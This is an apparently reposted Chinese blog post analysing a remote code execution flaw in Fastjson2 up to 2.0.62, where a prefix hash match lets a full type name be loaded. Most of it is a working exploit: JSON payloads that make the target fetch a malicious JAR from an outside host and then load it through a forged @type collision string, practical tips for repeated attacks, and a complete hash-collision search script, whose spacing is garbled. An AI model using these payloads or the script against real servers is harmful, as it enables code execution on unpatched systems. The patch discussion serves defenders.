Fastjson2RCE漏洞利用细节分析"

admin 2026-10-18 06:01:06 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

Fastjson2 RCE漏洞利用细节分析

原创

hyyrent
hyyrent

0xSecurity

2026年7月28日 12:52
广东

在小说阅读器读本章

去阅读

影响版本

Fastjson <= 2.0.62

升级修复方案

官方已更新修复补丁,参考链接:

https://github.com/alibaba/fastjson2/pull/7695/changes

先看 GitHub:官方实际上在修什么?

截至 2026 年 7 月 28 日:

  • GitHub Issue #7702 已经明确在讨论 fastjson2 的这类安全修复问题
  • 该 Issue 里直接提到了 /pull/7695/changes

围绕 “autoType 类型名校验 + whitelist 验证增强” 这个方向补洞。

1)不再只信哈希,要补真实字符串校验

这一步是最关键的。

原来的危险点在于:

  • 哈希一命中
  • 就继续往下走

而修补思路就是:

  • 哈希命中后
  • 还要再核对当前类型名文本本身
  • 不能只靠 hash 相等就当成白名单命中

2)开始拒绝带 :、! 这类明显不像类名的输入

  • jar:file:/...
  • /proc/self/fd/...!...
  • URL / 协议型字符串

ObjectReaderProvider.checkAutoType 修复前的核心问题

修复前,这段逻辑的危险点不在于“用了哈希”,而在于:

它用“前缀哈希命中”来决定是否加载“完整 typeName”。

伪代码如下:

long hash = MAGIC_HASH_CODE;
for (int i = 0; i < typeNameLength; i++) {
    char ch = typeName.charAt(i);
    hash ^= ch;
    hash *= MAGIC_PRIME;   // 增量 FNV-1a(typeName[0..i])

    if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
        clazz = loadClass(typeName);   // 直接加载完整 typeName
    }
}

这里有一个非常关键的语义错位:

  • acceptHashCodes 匹配的是 某个前缀的哈希
  • loadClass() 加载的却是 完整的 typeName

也就是说,程序实际做的是:

只要 typeName 的某个前缀哈希看起来像白名单,就去加载整个 typeName。

问题在于,哈希命中只说明:哈希值相等

并不说明:字符串本身相等

而修复前,这里并没有补上“前缀文本是否真的等于白名单类名”的校验。


为什么这会被碰撞利用

FNV-1a 是非密码学哈希,攻击者可以为一个可控前缀追加若干自由字符,构造出一个 chosen-prefix collision,让某个前缀哈希误命中白名单值,这意味着攻击者不需要伪造真实白名单类名,只需要让:

hash(typeName[0..i]) == acceptHashCode

成立即可。

一旦命中,程序就会直接:

loadClass(typeName)

注意,这里加载的是完整 typeName,不是那个命中的前缀。


为什么风险会升级成类加载问题

如果命中后只是“接受这个前缀”,问题还不会这么严重。真正危险的是,命中之后它直接拿整个输入字符串去 loadClass()。

因此,攻击者真正控制的目标不是“命中的那个前缀”,而是:

完整 typeName 的解释结果。

修复前如果 :、/、! 这类字符没有被拦截,那么 typeName 就不一定是普通 Java 类名,还可能长成:

  • jar:http://...
  • /proc/self/fd/...!...
  • 其他可被上下文类加载器特殊解释的形式

这样一来,整个问题就从“白名单判断缺陷”升级成了可利用的类加载入口。

第一阶段:缓存恶意 JAR

先发一个普通 JSON:

[{\"jarUrl\":\"http://host:port/probe/xxx.jar\"}]

目标会:

  • 下载 JAR
  • 打开文件
  • 找到对应 fd
  • 删除临时文件

第二阶段:用碰撞 @type 从 fd 里加载类

再发:

[{\"@type\":\"a\\u00ad\\u004b\\u00d3\\u005b\\u0076\\u002c\\u00ff\\u00a5\",\"fd\":12}]

然后链子就接上了:

  1. 默认 JSON.parse(body) 继续解析
  2. @type 命中碰撞
  3. 程序误以为进入 accept 分支
  4. 上下文类加载器被调用
  5. 从 /proc/self/fd/12 对应的 JAR 里取 class
  6. 加载并执行 payload

如果 payload 构造函数里先执行命令、再主动抛异常,就会看到这种标记:

parseError=java.lang.RuntimeException:flag{fastjson2_http_fd_reproduction}

实战payload改成唯一类名

实战过程中,如果每次 payload 都命名:

poc.Payload

那么 JVM 很可能在第一次加载后就把它记住了。后面你即使换了新 JAR、新命令,只要类名不变,目标进程也可能继续复用旧类。

所以更稳的做法是:

每次 payload 都生成唯一类名。

比如:

poc.X0296
poc.X4621
poc.X8306

这样可以避免被 JVM 已加载类缓存干扰。

FNV碰撞脚本

#!/usr/bin/env python3

MAGIC=0xCBF29CE484222325
PRIME=0x100000001B3
MASK= (1<<64) -1
PRIME_INV=14886173955864302971  # modular inverse of PRIME mod 2^64

DEFAULT_TARGET=-6293031534589903644  # fastjson2 default accept hash target

deffwd(h, ch):
    return ((h^ (ch&0xFFFF)) *PRIME) &MASK

defback(h, ch):
    return ((h*PRIME_INV) &MASK) ^ (ch&0xFFFF)

deffnv_hash(s: str) ->int:
    h=MAGIC
    forchins:
        ifch=='$':
            ch='.'
        h=fwd(h, ord(ch))
    returnh

defto_signed(x):
    returnxifx< (1<<63) elsex- (1<<64)

defprintable_json(prefix, suffix_bytes):
    returnprefix+''.join(f'\\\\u{b:04x}'forbinsuffix_bytes)

deffind_collision(prefix: str, target: int=DEFAULT_TARGET):
    target_u=target&MASK
    h0=fnv_hash(prefix)

    forprependinrange(1, 256):
        hp=fwd(h0, prepend)

        # forward 3-byte table
        table= {}
        forc1inrange(1, 256):
            h1=fwd(hp, c1)
            forc2inrange(1, 256):
                h2=fwd(h1, c2)
                forc3inrange(1, 256):
                    h3=fwd(h2, c3)
                    table[h3] = (c1, c2, c3)

        # backward 4-byte search
        forc7inrange(1, 256):
            h6=back(target_u, c7)
            forc6inrange(1, 256):
                h5=back(h6, c6)
                forc5inrange(1, 256):
                    h4=back(h5, c5)
                    forc4inrange(1, 256):
                        h3=back(h4, c4)
                        ifh3intable:
                            c1, c2, c3=table[h3]
                            result= [prepend, c1, c2, c3, c4, c5, c6, c7]

                            # verify
                            h=h0
                            forbinresult:
                                h=fwd(h, b)
                            ifh==target_u:
                                returnresult
    returnNone

if__name__==\"__main__\":
    prefix=\"a\"
    result=find_collision(prefix, DEFAULT_TARGET)
    ifnotresult:
        print(\"not found\")
    else:
        print(\"bytes:\", result)
        print(\"type_json:\", printable_json(prefix, result))

最终打进去的碰撞串

碰撞理想情况下耗时1小时,这个不唯一也可以用其他碰撞出的值

a\\u00ad\\u004b\\u00d3\\u005b\\u0076\\u002c\\u00ff\\u00a5

参考链接

https://github.com/alibaba/fastjson2/pull/7695/changes


Fastjson2RCE漏洞利用细节分析" 网络安全文章

Fastjson2RCE漏洞利用细节分析"

本文深入分析Fastjson2小于等于2.0.62版本RCE漏洞。漏洞源于checkAutoType仅凭FNV-1a前缀哈希匹配放行类加载而未校验真实字符串,致攻击者可借此碰撞绕过白名单。利用分两步:先缓存恶意JAR获取文件描述符,再构造碰撞@type触发加载器从fd路径执行恶意类。建议立即升级,实战需用唯一类名规避JVM缓存。
某黑客组织承认对安永(EY)数据泄露事件负责" 网络安全文章

某黑客组织承认对安永(EY)数据泄露事件负责"

黑客组织ShinyHunters承认对安永数据泄露负责,称通过第三方IT平台实施供应链入侵,窃取员工凭证及含敏感个人与财务信息的客户文件,并下达最后通牒威胁公开数据。安永确认至少1366人受影响并启动信用监控。此事件凸显加强第三方供应链与SaaS凭证安全管理的紧迫性。
Progress修复KempLoadMaster五个漏洞" 网络安全文章

Progress修复KempLoadMaster五个漏洞"

Progress在2026年7月修复了KempLoadMaster的五个漏洞,包括三个命令注入和两个权限提升漏洞,均需已认证账户利用,但可导致设备完全被攻陷。受影响版本包括LoadMasterGAv7.2.63.2及更早版本等。建议立即升级至修复版本,并限制管理界面和API访问权限,审查管理员账户。
暗网快讯【20260728】179期" 网络安全文章

暗网快讯【20260728】179期"

本期暗网快讯汇总了多起数据泄露事件,涉及意大利、法国、西班牙、巴基斯坦、印度、美国、巴西、迪拜、埃及等国家和地区的企业、政府及教育机构,泄露内容包括客户数据库、订单记录、公民身份信息、银行KYC数据、加密货币交易所线索及军事系统设计蓝图等。建议相关组织加强安全防护与威胁监控。
评论:0   参与:  0